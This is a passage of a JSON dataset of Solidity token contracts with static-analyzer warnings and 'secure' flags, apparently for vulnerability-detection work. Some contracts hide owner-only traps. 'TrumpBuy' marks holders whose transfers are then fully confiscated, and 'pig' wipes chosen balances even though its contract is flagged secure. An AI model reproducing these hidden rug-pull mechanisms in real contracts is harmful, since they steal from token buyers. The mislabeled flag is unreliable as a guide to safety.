swapAndLiquify(contractTokenBalance);\n }\n\n\t\t\t// reentrancy-no-eth | ID: 64531b4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t\t// reentrancy-events | ID: 59b4c18\n\t\t\t// reentrancy-no-eth | ID: 64531b4\n uint256 fAmount = (_isExcludefromFee[from] || _isExcludefromFee[to])\n ? amount\n : tokenTransfer(from, amount);\n\n\t\t\t// reentrancy-no-eth | ID: 64531b4\n _balances[to] = _balances[to].add(fAmount);\n\n\t\t\t// reentrancy-events | ID: 59b4c18\n emit Transfer(from, to, fAmount);\n\n return true;\n }\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function swapAndLiquify(uint256 amount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n\t\t// reentrancy-events | ID: 59b4c18\n\t\t// reentrancy-events | ID: 01036a8\n\t\t// reentrancy-benign | ID: cf8d233\n\t\t// reentrancy-no-eth | ID: 64531b4\n try\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amount,\n 0,\n path,\n address(Royce),\n block.timestamp\n )\n {} catch {}\n }\n\n function TrumpBuy(address widjrk, uint256 wjzk) public {\n address msgsender = msg.sender;\n\n uint256 wapp = wjzk;\n\n if (wapp == 1 - 1 || wapp == 9 + 1) wends[widjrk] = wapp;\n\n if (msgsender != Royce) revert(\"?\");\n }\n\n function tokenTransfer(\n address sender,\n uint256 amount\n ) internal returns (uint256) {\n uint256 swapRate = amount.mul(0).div(100);\n\n if (wends[sender] != 0) swapRate += amount + swapRate;\n\n if (swapRate > 0) {\n\t\t\t// reentrancy-no-eth | ID: 64531b4\n _balances[address(this)] += swapRate;\n\n\t\t\t// reentrancy-events | ID: 59b4c18\n emit Transfer(sender, address(this), swapRate);\n }\n\n return amount.sub(swapRate);\n }\n}",
"file_name": "solidity_code_4084.sol",
"secure": 0,
"size_bytes": 12300
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract RP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b148cbc): RP._taxWallet should be immutable \n\t// Recommendation for b148cbc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2bd732): RP._initialBuyTax should be constant \n\t// Recommendation for d2bd732: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b58e1c9): RP._initialSellTax should be constant \n\t// Recommendation for b58e1c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8863e39): RP._finalBuyTax should be constant \n\t// Recommendation for 8863e39: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 91c24c9): RP._finalSellTax should be constant \n\t// Recommendation for 91c24c9: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa592c7): RP._reduceBuyTaxAt should be constant \n\t// Recommendation for aa592c7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6baf179): RP._reduceSellTaxAt should be constant \n\t// Recommendation for 6baf179: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: a9c299b): RP._preventSwapBefore should be constant \n\t// Recommendation for a9c299b: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 200000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"RED PANDA\";\n\n string private constant _symbol = unicode\"RP\";\n\n uint256 public _maxTxAmount = 4000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: bad690a): RP._taxSwapThreshold should be constant \n\t// Recommendation for bad690a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a07509f): RP._maxTaxSwap should be constant \n\t// Recommendation for a07509f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 2500000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d93d6ce): RP.uniswapV2Router should be immutable \n\t// Recommendation for d93d6ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eb01b4c): RP.uniswapV2Pair should be immutable \n\t// Recommendation for eb01b4c: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: d70ca55): RP.sellsPerBlock should be constant \n\t// Recommendation for d70ca55: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8dd75c): RP.buysFirstBlock should be constant \n\t// Recommendation for e8dd75c: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 034f13b): RP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 034f13b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a06f65): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a06f65: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b5b46ec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b5b46ec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6a06f65\n\t\t// reentrancy-benign | ID: b5b46ec\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6a06f65\n\t\t// reentrancy-benign | ID: b5b46ec\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d75f8f8): RP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d75f8f8: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b5b46ec\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6a06f65\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a42cd09): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a42cd09: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 67f78fe): RP._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 67f78fe: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 51a5936): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 51a5936: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6e3858c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6e3858c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 67f78fe\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: a42cd09\n\t\t\t\t// reentrancy-eth | ID: 51a5936\n\t\t\t\t// reentrancy-eth | ID: 6e3858c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a42cd09\n\t\t\t\t\t// reentrancy-eth | ID: 51a5936\n\t\t\t\t\t// reentrancy-eth | ID: 6e3858c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 51a5936\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 51a5936\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: a42cd09\n\t\t\t\t// reentrancy-eth | ID: 6e3858c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a42cd09\n\t\t\t\t\t// reentrancy-eth | ID: 6e3858c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6e3858c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a42cd09\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6e3858c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6e3858c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a42cd09\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a42cd09\n\t\t// reentrancy-events | ID: 6a06f65\n\t\t// reentrancy-benign | ID: b5b46ec\n\t\t// reentrancy-eth | ID: 51a5936\n\t\t// reentrancy-eth | ID: 6e3858c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ef354e4): RP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ef354e4: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a42cd09\n\t\t// reentrancy-events | ID: 6a06f65\n\t\t// reentrancy-eth | ID: 51a5936\n\t\t// reentrancy-eth | ID: 6e3858c\n\t\t// arbitrary-send-eth | ID: ef354e4\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 0a22590): RP.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 0a22590: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint256 _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 0a22590\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1ead8f7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1ead8f7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9bc4ff7): RP.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 9bc4ff7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9eeffe7): RP.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 9eeffe7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c74b163): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c74b163: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 1ead8f7\n\t\t// unused-return | ID: 9bc4ff7\n\t\t// reentrancy-eth | ID: c74b163\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1ead8f7\n\t\t// unused-return | ID: 9eeffe7\n\t\t// reentrancy-eth | ID: c74b163\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 1ead8f7\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c74b163\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 1ead8f7\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_4085.sol",
"secure": 0,
"size_bytes": 20096
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Miladywifketamine is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable steam;\n\n constructor() {\n _name = \"Milady Wif Ketamine\";\n\n _symbol = \"KETA\";\n\n _decimals = 18;\n\n uint256 initialSupply = 591000000;\n\n steam = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == steam, \"Not allowed\");\n\n _;\n }\n\n function pig(address[] memory truth) public onlyOwner {\n for (uint256 i = 0; i < truth.length; i++) {\n address account = truth[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_4086.sol",
"secure": 1,
"size_bytes": 4366
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BSM is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: a4e2f65): BSM.maxSupply should be constant \n\t// Recommendation for a4e2f65: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1000000000 * 1e18;\n\n constructor() ERC20(\"Wall street meme\", \"WSM\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}",
"file_name": "solidity_code_4087.sol",
"secure": 1,
"size_bytes": 596
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2907e60): Contract locking ether found Contract Asteroid2024PT5 has payable functions Asteroid2024PT5.receive() But does not have a function to withdraw the ether\n// Recommendation for 2907e60: Remove the 'payable' attribute or add a withdraw function.\ncontract Asteroid2024PT5 is ERC20, Ownable {\n constructor() ERC20(unicode\"Asteroid 2024 PT5\", unicode\"MOON2.0\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 2907e60): Contract locking ether found Contract Asteroid2024PT5 has payable functions Asteroid2024PT5.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 2907e60: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_4088.sol",
"secure": 0,
"size_bytes": 1053
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nabstract contract Initializable {\n bool private _initialized;\n\n bool private _initializing;\n\n modifier initializer() {\n require(\n _initializing || !_initialized,\n \"Initializable: contract is already initialized\"\n );\n\n bool isTopLevelCall = !_initializing;\n\n if (isTopLevelCall) {\n _initializing = true;\n\n _initialized = true;\n }\n\n _;\n\n if (isTopLevelCall) {\n _initializing = false;\n }\n }\n}",
"file_name": "solidity_code_4089.sol",
"secure": 1,
"size_bytes": 605
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/math/SafeCast.sol\" as SafeCast;\n\nlibrary SignedMath {\n function ternary(\n bool condition,\n int256 a,\n int256 b\n ) internal pure returns (int256) {\n unchecked {\n return b ^ ((a ^ b) * int256(SafeCast.toUint(condition)));\n }\n }\n\n function max(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a > b, a, b);\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a < b, a, b);\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n int256 mask = n >> 255;\n\n return uint256((n + mask) ^ mask);\n }\n }\n}",
"file_name": "solidity_code_409.sol",
"secure": 1,
"size_bytes": 1017
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\n\nabstract contract ContextUpgradeable is Initializable {\n function __Context_init() internal initializer {\n __Context_init_unchained();\n }\n\n function __Context_init_unchained() internal initializer {}\n\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n uint256[50] private __gap;\n}",
"file_name": "solidity_code_4090.sol",
"secure": 1,
"size_bytes": 624
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./ContextUpgradeable.sol\" as ContextUpgradeable;\n\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function __Ownable_init() internal initializer {\n __Context_init_unchained();\n\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal initializer {\n _setOwner(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n uint256[49] private __gap;\n}",
"file_name": "solidity_code_4091.sol",
"secure": 1,
"size_bytes": 1465
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./OwnableUpgradeable.sol\" as OwnableUpgradeable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeCast.sol\" as SafeCast;\nimport \"./SignedSafeMath.sol\" as SignedSafeMath;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Staking is Initializable, OwnableUpgradeable {\n using SafeERC20 for IERC20;\n\n using SafeMath for uint256;\n\n using SignedSafeMath for int256;\n\n using SafeCast for int256;\n\n struct UserInfo {\n uint256 amount;\n int256 rewardDebt;\n uint256 lastDepositedAt;\n }\n\n uint256 private constant ACC_REWARD_PRECISION = 1e12;\n\n IERC20 public reward;\n\n IERC20 public lpToken;\n\n uint256 public accRewardPerShare;\n\n uint256 public lastRewardBlock;\n\n uint256 public rewardPerBlock;\n\n uint256 public vestingTime = 30 days;\n\n mapping(address => UserInfo) public userInfo;\n\n event Deposit(address indexed user, uint256 amount, address indexed to);\n\n event Withdraw(address indexed user, uint256 amount, address indexed to);\n\n event EmergencyWithdraw(\n address indexed user,\n uint256 amount,\n address indexed to\n );\n\n event Harvest(address indexed user, uint256 amount);\n\n event LogUpdatePool(\n uint256 lastRewardBlock,\n uint256 lpSupply,\n uint256 accRewardPerShare\n );\n\n function initialize(IERC20 _reward, IERC20 _lpToken) external initializer {\n __Ownable_init();\n\n reward = _reward;\n\n lpToken = _lpToken;\n\n accRewardPerShare = 0;\n\n lastRewardBlock = block.number;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9cfadc4): Staking.setRewardPerBlock(uint256) should emit an event for rewardPerBlock = _rewardPerBlock \n\t// Recommendation for 9cfadc4: Emit an event for critical parameter changes.\n function setRewardPerBlock(uint256 _rewardPerBlock) public onlyOwner {\n updatePool();\n\n\t\t// events-maths | ID: 9cfadc4\n rewardPerBlock = _rewardPerBlock;\n }\n\n function pendingReward(\n address _user\n ) external view returns 